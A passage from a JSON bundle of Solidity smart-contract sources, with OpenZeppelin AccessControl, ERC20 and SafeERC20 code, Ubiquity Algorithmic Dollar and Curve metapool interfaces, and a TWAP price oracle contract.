_roles;\n\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\n\n /**\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\n *\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\n * {RoleAdminChanged} not being emitted signaling this.\n *\n * _Available since v3.1._\n */\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\n\n /**\n * @dev Emitted when `account` is granted `role`.\n *\n * `sender` is the account that originated the contract call, an admin role\n * bearer except when using {_setupRole}.\n */\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\n\n /**\n * @dev Emitted when `account` is revoked `role`.\n *\n * `sender` is the account that originated the contract call:\n * - if using `revokeRole`, it is the admin role bearer\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\n */\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\n\n /**\n * @dev Modifier that checks that an account has a specific role. Reverts\n * with a standardized message including the required role.\n *\n * The format of the revert reason is given by the following regular expression:\n *\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\n *\n * _Available since v4.1._\n */\n modifier onlyRole(bytes32 role) {\n _checkRole(role, _msgSender());\n _;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Returns `true` if `account` has been granted `role`.\n */\n function hasRole(bytes32 role, address account) public view override returns (bool) {\n return _roles[role].members[account];\n }\n\n /**\n * @dev Revert with a standard message if `account` is missing `role`.\n *\n * The format of the revert reason is given by the following regular expression:\n *\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\n */\n function _checkRole(bytes32 role, address account) internal view {\n if (!hasRole(role, account)) {\n revert(\n string(\n abi.encodePacked(\n \"AccessControl: account \",\n Strings.toHexString(uint160(account), 20),\n \" is missing role \",\n Strings.toHexString(uint256(role), 32)\n )\n )\n );\n }\n }\n\n /**\n * @dev Returns the admin role that controls `role`. See {grantRole} and\n * {revokeRole}.\n *\n * To change a role's admin, use {_setRoleAdmin}.\n */\n function getRoleAdmin(bytes32 role) public view override returns (bytes32) {\n return _roles[role].adminRole;\n }\n\n /**\n * @dev Grants `role` to `account`.\n *\n * If `account` had not been already granted `role`, emits a {RoleGranted}\n * event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n */\n function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\n _grantRole(role, account);\n }\n\n /**\n * @dev Revokes `role` from `account`.\n *\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n */\n function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\n _revokeRole(role, account);\n }\n\n /**\n * @dev Revokes `role` from the calling account.\n *\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\n * purpose is to provide a mechanism for accounts to lose their privileges\n * if they are compromised (such as when a trusted device is misplaced).\n *\n * If the calling account had been granted `role`, emits a {RoleRevoked}\n * event.\n *\n * Requirements:\n *\n * - the caller must be `account`.\n */\n function renounceRole(bytes32 role, address account) public virtual override {\n require(account == _msgSender(), \"AccessControl: can only renounce roles for self\");\n\n _revokeRole(role, account);\n }\n\n /**\n * @dev Grants `role` to `account`.\n *\n * If `account` had not been already granted `role`, emits a {RoleGranted}\n * event. Note that unlike {grantRole}, this function doesn't perform any\n * checks on the calling account.\n *\n * [WARNING]\n * ====\n * This function should only be called from the constructor when setting\n * up the initial roles for the system.\n *\n * Using this function in any other way is effectively circumventing the admin\n * system imposed by {AccessControl}.\n * ====\n */\n function _setupRole(bytes32 role, address account) internal virtual {\n _grantRole(role, account);\n }\n\n /**\n * @dev Sets `adminRole` as ``role``'s admin role.\n *\n * Emits a {RoleAdminChanged} event.\n */\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\n emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);\n _roles[role].adminRole = adminRole;\n }\n\n function _grantRole(bytes32 role, address account) private {\n if (!hasRole(role, account)) {\n _roles[role].members[account] = true;\n emit RoleGranted(role, account, _msgSender());\n }\n }\n\n function _revokeRole(bytes32 role, address account) private {\n if (hasRole(role, account)) {\n _roles[role].members[account] = false;\n emit RoleRevoked(role, account, _msgSender());\n }\n }\n}\n" - }, - "@openzeppelin/contracts/token/ERC20/ERC20.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin guidelines: functions revert instead\n * of returning `false` on failure. This behavior is nonetheless conventional\n * and does not conflict with the expectations of ERC20 applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The default value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5,05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `recipient` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * Requirements:\n *\n * - `sender` and `recipient` cannot be the zero address.\n * - `sender` must have a balance of at least `amount`.\n * - the caller must have allowance for ``sender``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(currentAllowance >= amount, \"ERC20: transfer amount exceeds allowance\");\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `sender` to `recipient`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `sender` cannot be the zero address.\n * - `recipient` cannot be the zero address.\n * - `sender` must have a balance of at least `amount`.\n */\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(senderBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n" - }, - "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\nimport \"../../../utils/Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(\n IERC20 token,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n */\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 newAllowance = token.allowance(address(this), spender) + value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n uint256 newAllowance = oldAllowance - value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n if (returndata.length > 0) {\n // Return data is optional\n require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n }\n}\n" - }, - "contracts/interfaces/IUbiquityAlgorithmicDollar.sol": { - "content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.3;\n\nimport \"./IERC20Ubiquity.sol\";\n\n/// @title UAD stablecoin interface\n/// @author Ubiquity Algorithmic Dollar\ninterface IUbiquityAlgorithmicDollar is IERC20Ubiquity {\n event IncentiveContractUpdate(\n address indexed _incentivized,\n address indexed _incentiveContract\n );\n\n function setIncentiveContract(address account, address incentive) external;\n\n function incentiveContract(address account) external view returns (address);\n}\n" - }, - "contracts/interfaces/ICurveFactory.sol": { - "content": "// SPDX-License-Identifier: MIT\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\npragma solidity ^0.8.3;\n\ninterface ICurveFactory {\n event BasePoolAdded(address base_pool, address implementat);\n event MetaPoolDeployed(\n address coin,\n address base_pool,\n uint256 A,\n uint256 fee,\n address deployer\n );\n\n function find_pool_for_coins(address _from, address _to)\n external\n view\n returns (address);\n\n function find_pool_for_coins(\n address _from,\n address _to,\n uint256 i\n ) external view returns (address);\n\n function get_n_coins(address _pool)\n external\n view\n returns (uint256, uint256);\n\n function get_coins(address _pool) external view returns (address[2] memory);\n\n function get_underlying_coins(address _pool)\n external\n view\n returns (address[8] memory);\n\n function get_decimals(address _pool)\n external\n view\n returns (uint256[2] memory);\n\n function get_underlying_decimals(address _pool)\n external\n view\n returns (uint256[8] memory);\n\n function get_rates(address _pool) external view returns (uint256[2] memory);\n\n function get_balances(address _pool)\n external\n view\n returns (uint256[2] memory);\n\n function get_underlying_balances(address _pool)\n external\n view\n returns (uint256[8] memory);\n\n function get_A(address _pool) external view returns (uint256);\n\n function get_fees(address _pool) external view returns (uint256, uint256);\n\n function get_admin_balances(address _pool)\n external\n view\n returns (uint256[2] memory);\n\n function get_coin_indices(\n address _pool,\n address _from,\n address _to\n )\n external\n view\n returns (\n int128,\n int128,\n bool\n );\n\n function add_base_pool(\n address _base_pool,\n address _metapool_implementation,\n address _fee_receiver\n ) external;\n\n function deploy_metapool(\n address _base_pool,\n string memory _name,\n string memory _symbol,\n address _coin,\n uint256 _A,\n uint256 _fee\n ) external returns (address);\n\n function commit_transfer_ownership(address addr) external;\n\n function accept_transfer_ownership() external;\n\n function set_fee_receiver(address _base_pool, address _fee_receiver)\n external;\n\n function convert_fees() external returns (bool);\n\n function admin() external view returns (address);\n\n function future_admin() external view returns (address);\n\n function pool_list(uint256 arg0) external view returns (address);\n\n function pool_count() external view returns (uint256);\n\n function base_pool_list(uint256 arg0) external view returns (address);\n\n function base_pool_count() external view returns (uint256);\n\n function fee_receiver(address arg0) external view returns (address);\n}\n" - }, - "contracts/interfaces/IMetaPool.sol": { - "content": "// SPDX-License-Identifier: UNLICENSED\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\npragma solidity ^0.8.3;\n\ninterface IMetaPool {\n event Transfer(\n address indexed sender,\n address indexed receiver,\n uint256 value\n );\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event TokenExchange(\n address indexed buyer,\n int128 sold_id,\n uint256 tokens_sold,\n int128 bought_id,\n uint256 tokens_bought\n );\n event TokenExchangeUnderlying(\n address indexed buyer,\n int128 sold_id,\n uint256 tokens_sold,\n int128 bought_id,\n uint256 tokens_bought\n );\n event AddLiquidity(\n address indexed provider,\n uint256[2] token_amounts,\n uint256[2] fees,\n uint256 invariant,\n uint256 token_supply\n );\n event RemoveLiquidity(\n address indexed provider,\n uint256[2] token_amounts,\n uint256[2] fees,\n uint256 token_supply\n );\n event RemoveLiquidityOne(\n address indexed provider,\n uint256 token_amount,\n uint256 coin_amount,\n uint256 token_supply\n );\n event RemoveLiquidityImbalance(\n address indexed provider,\n uint256[2] token_amounts,\n uint256[2] fees,\n uint256 invariant,\n uint256 token_supply\n );\n event CommitNewAdmin(uint256 indexed deadline, address indexed admin);\n event NewAdmin(address indexed admin);\n event CommitNewFee(\n uint256 indexed deadline,\n uint256 fee,\n uint256 admin_fee\n );\n event NewFee(uint256 fee, uint256 admin_fee);\n event RampA(\n uint256 old_A,\n uint256 new_A,\n uint256 initial_time,\n uint256 future_time\n );\n event StopRampA(uint256 A, uint256 t);\n\n function initialize(\n string memory _name,\n string memory _symbol,\n address _coin,\n uint256 _decimals,\n uint256 _A,\n uint256 _fee,\n address _admin\n ) external;\n\n function decimals() external view returns (uint256);\n\n function transfer(address _to, uint256 _value) external returns (bool);\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) external returns (bool);\n\n function approve(address _spender, uint256 _value) external returns (bool);\n\n function get_previous_balances() external view returns (uint256[2] memory);\n\n function get_balances() external view returns (uint256[2] memory);\n\n function get_twap_balances(\n uint256[2] memory _first_balances,\n uint256[2] memory _last_balances,\n uint256 _time_elapsed\n ) external view returns (uint256[2] memory);\n\n function get_price_cumulative_last()\n external\n view\n returns (uint256[2] memory);\n\n function admin_fee() external view returns (uint256);\n\n function A() external view returns (uint256);\n\n function A_precise() external view returns (uint256);\n\n function get_virtual_price() external view returns (uint256);\n\n function calc_token_amount(uint256[2] memory _amounts, bool _is_deposit)\n external\n view\n returns (uint256);\n\n function calc_token_amount(\n uint256[2] memory _amounts,\n bool _is_deposit,\n bool _previous\n ) external view returns (uint256);\n\n function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount)\n external\n returns (uint256);\n\n function add_liquidity(\n uint256[2] memory _amounts,\n uint256 _min_mint_amount,\n address _receiver\n ) external returns (uint256);\n\n function get_dy(\n int128 i,\n int128 j,\n uint256 dx\n ) external view returns (uint256);\n\n function get_dy(\n int128 i,\n int128 j,\n uint256 dx,\n uint256[2] memory _balances\n ) external view returns (uint256);\n\n function get_dy_underlying(\n int128 i,\n int128 j,\n uint256 dx\n ) external view returns (uint256);\n\n function get_dy_underlying(\n int128 i,\n int128 j,\n uint256 dx,\n uint256[2] memory _balances\n ) external view returns (uint256);\n\n function exchange(\n int128 i,\n int128 j,\n uint256 dx,\n uint256 min_dy\n ) external returns (uint256);\n\n function exchange(\n int128 i,\n int128 j,\n uint256 dx,\n uint256 min_dy,\n address _receiver\n ) external returns (uint256);\n\n function exchange_underlying(\n int128 i,\n int128 j,\n uint256 dx,\n uint256 min_dy\n ) external returns (uint256);\n\n function exchange_underlying(\n int128 i,\n int128 j,\n uint256 dx,\n uint256 min_dy,\n address _receiver\n ) external returns (uint256);\n\n function remove_liquidity(\n uint256 _burn_amount,\n uint256[2] memory _min_amounts\n ) external returns (uint256[2] memory);\n\n function remove_liquidity(\n uint256 _burn_amount,\n uint256[2] memory _min_amounts,\n address _receiver\n ) external returns (uint256[2] memory);\n\n function remove_liquidity_imbalance(\n uint256[2] memory _amounts,\n uint256 _max_burn_amount\n ) external returns (uint256);\n\n function remove_liquidity_imbalance(\n uint256[2] memory _amounts,\n uint256 _max_burn_amount,\n address _receiver\n ) external returns (uint256);\n\n function calc_withdraw_one_coin(uint256 _burn_amount, int128 i)\n external\n view\n returns (uint256);\n\n function calc_withdraw_one_coin(\n uint256 _burn_amount,\n int128 i,\n bool _previous\n ) external view returns (uint256);\n\n function remove_liquidity_one_coin(\n uint256 _burn_amount,\n int128 i,\n uint256 _min_received\n ) external returns (uint256);\n\n function remove_liquidity_one_coin(\n uint256 _burn_amount,\n int128 i,\n uint256 _min_received,\n address _receiver\n ) external returns (uint256);\n\n function ramp_A(uint256 _future_A, uint256 _future_time) external;\n\n function stop_ramp_A() external;\n\n function admin_balances(uint256 i) external view returns (uint256);\n\n function withdraw_admin_fees() external;\n\n function admin() external view returns (address);\n\n function coins(uint256 arg0) external view returns (address);\n\n function balances(uint256 arg0) external view returns (uint256);\n\n function fee() external view returns (uint256);\n\n function block_timestamp_last() external view returns (uint256);\n\n function initial_A() external view returns (uint256);\n\n function future_A() external view returns (uint256);\n\n function initial_A_time() external view returns (uint256);\n\n function future_A_time() external view returns (uint256);\n\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function balanceOf(address arg0) external view returns (uint256);\n\n function allowance(address arg0, address arg1)\n external\n view\n returns (uint256);\n\n function totalSupply() external view returns (uint256);\n}\n" - }, - "contracts/TWAPOracle.sol": { - "content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.3;\n\nimport \"./interfaces/IMetaPool.sol\";\n\ncontract TWAPOracle {\n address public immutable pool;\n address public immutable token0;\n address public immutable token1;\n uint256 public price0Average;\n uint256 public price1Average;\n uint256 public pricesBlockTimestampLast;\n uint256[2] public priceCumulativeLast;\n\n constructor(\n address _pool,\n address _uADtoken0,\n address _curve3CRVtoken1\n ) {\n pool = _pool;\n // coin at index 0 is uAD and index 1 is 3CRV\n require(\n IMetaPool(_pool).coins(0) == _uADtoken0 &&\n IMetaPool(_pool).coins(1) == _curve3CRVtoken1,\n \"TWAPOracle: COIN_ORDER_MISMATCH\"\n );\n\n token0 = _uADtoken0;\n token1 = _curve3CRVtoken1;\n\n uint256 _reserve0 = uint112(IMetaPool(_pool).balances(0));\n uint256 _reserve1 = uint112(IMetaPool(_pool).balances(1));\n\n // ensure that there's liquidity in the pair\n require(_reserve0 != 0 && _reserve1 != 0, \"TWAPOracle: NO_RESERVES\");\n // ensure that pair balance is perfect\n require(_reserve0 == _reserve1, \"TWAPOracle: PAIR_UNBALANCED\");\n priceCumulativeLast = IMetaPool(_pool).get_price_cumulative_last();\n pricesBlockTimestampLast = IMetaPool(_pool).block_timestamp_last();\n\n price0Average = 1 ether;\n price1Average = 1 ether;\n }\n\n // calculate average price\n function update() external {\n (\n uint256[2] memory priceCumulative,\n uint256 blockTimestamp\n ) = _currentCumulativePrices();\n\n if (blockTimestamp - pricesBlockTimestampLast > 0) {\n // get the balances between now and the last price cumulative snapshot\n uint256[2] memory twapBalances = IMetaPool(pool).get_twap_balances(\n priceCumulativeLast,\n priceCumulative,\n blockTimestamp - pricesBlockTimestampLast\n );\n\n // price to exchange amounIn uAD to 3CRV based on TWAP\n price0Average = IMetaPool(pool).get_dy(0, 1, 1 ether, twapBalances);\n // price to exchange amounIn 3CRV to uAD based on TWAP\n price1Average = IMetaPool(pool).get_dy(1, 0, 1 ether, twapBalances);\n // we update the priceCumulative\n priceCumulativeLast = priceCumulative;\n pricesBlockTimestampLast = blockTimestamp;\n }\n }\n\n // note this will always return 0 before update has been called successfully\n // for the first time.\n function consult(address token) external view returns (uint256 amountOut) {\n if (token == token0) {\n // price to exchange 1 uAD to 3CRV based on TWAP\n amountOut = price0Average;\n } else {\n require(token == token1, \"TWAPOracle: INVALID_TOKEN\");\n // price to exchange 1 3CRV to uAD based on TWAP\n amountOut = price1Average;\n }\n }\n\n function _currentCumulativePrices()\n internal\n view\n returns (uint256[2] memory priceCumulative, uint256 blockTimestamp)\n {\n priceCumulative = IMetaPool(pool).get_price_cumulative_last();\n blockTimestamp = IMetaPool(pool).block_timestamp_last();\n }\n}\n" - }, - "@openzeppelin/contracts/utils/Context.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/*\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n" - }, - "@openzeppelin/contracts/utils/Strings.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n}\n" - }, - "@openzeppelin/contracts/utils/introspection/ERC165.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n 